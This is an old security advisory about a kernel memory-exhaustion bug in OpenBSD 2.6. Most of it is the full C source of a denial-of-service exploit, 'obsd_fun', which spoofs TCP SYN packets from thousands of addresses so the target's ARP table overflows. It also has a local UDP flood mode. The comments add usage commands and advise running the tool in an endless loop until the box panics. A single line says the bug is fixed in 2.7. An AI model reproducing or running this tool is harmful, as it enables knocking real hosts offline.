COMMAND
kernel (kmem_map)
SYSTEMS AFFECTED
OpenBSD 2.6
PROBLEM
'skyper' found following. It is a bug that occurs as panic every
few seconds on OpenBSD box.
This works on local lan or any host which can be reached through
gateways with rp_filter = 0 [default on most linux routers and
most other OS'es. Take a look at
/proc/sys/net/ipv4/conf/default/rp_filter].
panic: malloc: out of space in kmem_map,
Stopped at: _debugger+0x4: ieave
This is nothing special. The kernel runs out of memory and
panics.
Usage is
./obsd_fun <target ip> <network> <count>
Target_ip is the ...wtf..you know what it is. Network is the
beginning of the network of the target_ip. Count is the number
of hosts we spoof from.
How does it work? While coding some scanning tool 'skyper' saw
that linux was unable to handle 1000 arp-request/sec [arp-table
overflow]. He thought obsd could be able to handle 1k
arp-request/sec..but he was wrong.
First DoS was a local one. All he did was sent packets to
thousend of hosts on the same network. [it doesnt matter if the
hosts exist or not]. The OpenBSD kernel paniced after a few
seconds. 'skyper' left it as an exercise for the reader to
reengineer the local DoS. [addon after a 'bratwurscht'-break: he
took the exercise humself.]
On subject of remote DoS; we send thousends of spoofed packets to
the target machiene. The target machiene tries to answer these
packets [with a tcp-syn, tcp-rst ,icmp-port-unreachable or
whatever].
For that it needs the mac-address of the origin host. If this
host does not exist the OpenBSD box will never get an answer and
wait for the arp-reply until it timesout. Thats it. We simply
overflow the arp-table/memory.
'skyper' used tcp-packets in this example. It also works with udp
or icmp.
/*
* [local/remote] kernel-panic DoS against openBSD 2.6
* 20000802, anonymous@segfault.net
*
* How to use it?:
* gcc -Wall -o obsd_fun obsd_fun.c
* If the host-ip is 10.23.13.37 on a 10.23/16 network:
* leetbox:~# ./obsd_fun 10.23.13.37 10.23.0.1 65534
*
* A count of 20.000 works fine here. But my box only has 64 MB ram.
* If this doesnt work try bigger values.
* If this still does not work...try an endless loop:
* while :; do ./obsd_fun 10.23.13.37 10.23.0.1 65534 ; done
* [sound crazy..but it works. I was unable to DoS a obsd 2.6 on
* a /16-network with 128 MB ram and a count of 65334...but after
* 6-loops the box paniced]
*
* Local DoS:
* Works like the remote one. But we use udp this time:
* myfirstobsd:~$ ./obsd_fun 10.23.0.1 32000
* works fine on my 64 MB obsd 2.6 box.
*
*
* Oh..i forgott something:
* Basicly i dont like DoS-attacks or really lame (d)dos attacks.
* It SUCKs. Thats really not what hacking is about.
*
* Greetings: yum. this is a DoS. to lame for greetings.
*
*
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#ifndef __USE_BSD
#define __USE_BSD
#endif
#ifndef __BSD_SOURCE
#define __BSD_SOURCE
#endif
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#define ETH_SIZE 14
#define IP_SIZE 20
#define TCP_SIZE 20
#define int_ntoa(x) inet_ntoa(*((struct in_addr *)&(x)))
/*
* Checksum stuff
*/
#define CKSUM_CARRY(x) \
(x = (x >> 16) + (x & 0xffff), (~(x + (x >> 16)) & 0xffff))
/*
* leet net tuple
*/
struct net_tuple
{
uint32_t src;
unsigned short int sport;
uint32_t dst;
unsigned short int dport;
};
/*
* pseudo TCP header for calculating the chksum
*/
struct _fakehead {
uint32_t saddr;
uint32_t daddr;
uint8_t zero;
uint8_t protocol;
uint16_t tot_len;
};
unsigned char packet[128];
/*
* calc. checksum WITH carry flag.
* call cksum = CKSUM_CARRY(in_cksum(blah));
*/
int
in_cksum(unsigned short *addr, int len)
{
int nleft = len;
int sum = 0;
u_short *w = addr;
u_short answer = 0;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1) /* padding */
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
return(sum);
}
void
add_tcphdr(unsigned char *pkt, struct net_tuple *nt, uint8_t flags)
{
struct tcphdr tcp;
struct _fakehead fakehead;
int sum;
memset(&tcp, 0, sizeof(tcp));
memset(&fakehead, 0, sizeof(fakehead));
tcp.th_dport = nt->dport;
tcp.th_sport = nt->sport;
fakehead.saddr = nt->src;
fakehead.daddr = nt->dst;
fakehead.zero = 0,
fakehead.protocol = 6;
fakehead.tot_len = htons(TCP_SIZE);
sum = in_cksum((u_short *)&fakehead, sizeof(fakehead));
tcp.th_off = TCP_SIZE >> 2;
tcp.th_seq = 31337; /* ###fixme */
tcp.th_flags |= flags; /* ADD the flags */
tcp.th_win = htons(0x3fff);
sum += in_cksum((u_short *)&tcp, sizeof(tcp));
tcp.th_sum = CKSUM_CARRY(sum);
memcpy(pkt, &tcp, sizeof(tcp));
}
/*
* add's ipv4-header of 20 bytes without any options
* - IPPROTO_TCP and 40 bytes total length
*/
void
add_iphdr(unsigned char *pkt, struct net_tuple *nt)
{
struct ip ip;
memset(&ip, 0, 20);
ip.ip_hl = sizeof(ip) >> 2;
ip.ip_v = 4;
/*ip->tos = 0;*/
ip.ip_len = htons(IP_SIZE + TCP_SIZE); /* htons ? */
/*ip->id = 0; done by kernel */
/*ip->frag_off = 0;*/
ip.ip_ttl = 0xff;
ip.ip_p = IPPROTO_TCP;
/*.ip->check = 0; done by kernel */
ip.ip_src.s_addr = nt->src;
ip.ip_dst.s_addr = nt->dst;
memcpy(pkt, &ip, sizeof(ip));
}
/*
* send out ipv4-packet
* with data 'pkt' of length 'len'
* returns the number of characters sent, or -1 if an error occured
*/
int
send_ipv4(int sox, u_char *pkt, size_t len)
{
struct sockaddr_in to;
to.sin_family = AF_INET;
memcpy(&to.sin_addr.s_addr, (pkt + 4*4), sizeof(u_long));
return(sendto(sox, pkt, len, 0 , (struct sockaddr *)&to, sizeof(to)) );
}
/*
* for a local DoS.
* we use udp this time [much easier, much faster, but only local:)]
*/
void
local_dos(char *argv[])
{
struct sockaddr_in saddr;
int c=0;
int sox;
int iprunner;
if( (sox = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
{
fprintf(stderr, "error creating socket\n");
exit(1);
}
memset(&saddr, 0, sizeof(saddr));
saddr.sin_family = AF_INET;
saddr.sin_port = htons(31337);
iprunner = ntohl(inet_addr(argv[1]));
while (c++< atoi(argv[2]))
{
saddr.sin_addr.s_addr = htonl(iprunner++);
sendto(sox, NULL, 0, 0, (struct sockaddr *)&saddr, sizeof(saddr));
}
printf("not working ?! wtf ! mailme asap anonymous@segfault.net\n");
exit(0);
}
void
usage(int code)
{
printf("\n4local DoS:\n");
printf("obsd_fun <network> <count>\n");
printf(" obsd_fun 10.23.0.1 32000\n\n");
printf("4 remote DoS:\n");
printf("obsd_fun <target_ip> <network> <count>\n");
printf(" obsd_fun 10.23.13.37 10.23.0.1 65000\n\n");
exit(code);
}
int
main(int argc, char *argv[])
{
struct net_tuple nt;
int sox;
int on = 1;
unsigned long iprunner;
int c=0;
if (argc < 3)
usage(0);
if (argc == 3)
local_dos(argv);
memset(&nt, 0, sizeof(nt));
if( (sox = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
fprintf(stderr, "error creating socket\n");
exit(1);
}
if (setsockopt(sox, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0)
{
fprintf(stderr, "error setsockopt\n");
exit(1);
}
printf("nuking %s on network %s with %d ip's\n",
argv[1], argv[2], atoi(argv[3]));
nt.dport = htons(31337);
nt.sport = htons(31338);
if ( (nt.dst = inet_addr(argv[1])) == -1)
{
fprintf(stderr, "nah. use IP insteat of hostname.\n");
exit(0);
}
iprunner = ntohl(inet_addr(argv[2]));
memset(packet, 0 , sizeof(packet));
while (c++< atoi(argv[3]))
{
nt.src = htonl(iprunner++);
add_tcphdr(packet + ETH_SIZE + IP_SIZE, &nt, TH_SYN);
add_iphdr(packet + ETH_SIZE, &nt);
send_ipv4(sox, packet + ETH_SIZE, IP_SIZE + TCP_SIZE);
}
printf("done. Try an endless loop if box is still alive.\n");
return(0);
}
SOLUTION
This is fixed in OpenBSD 2.7.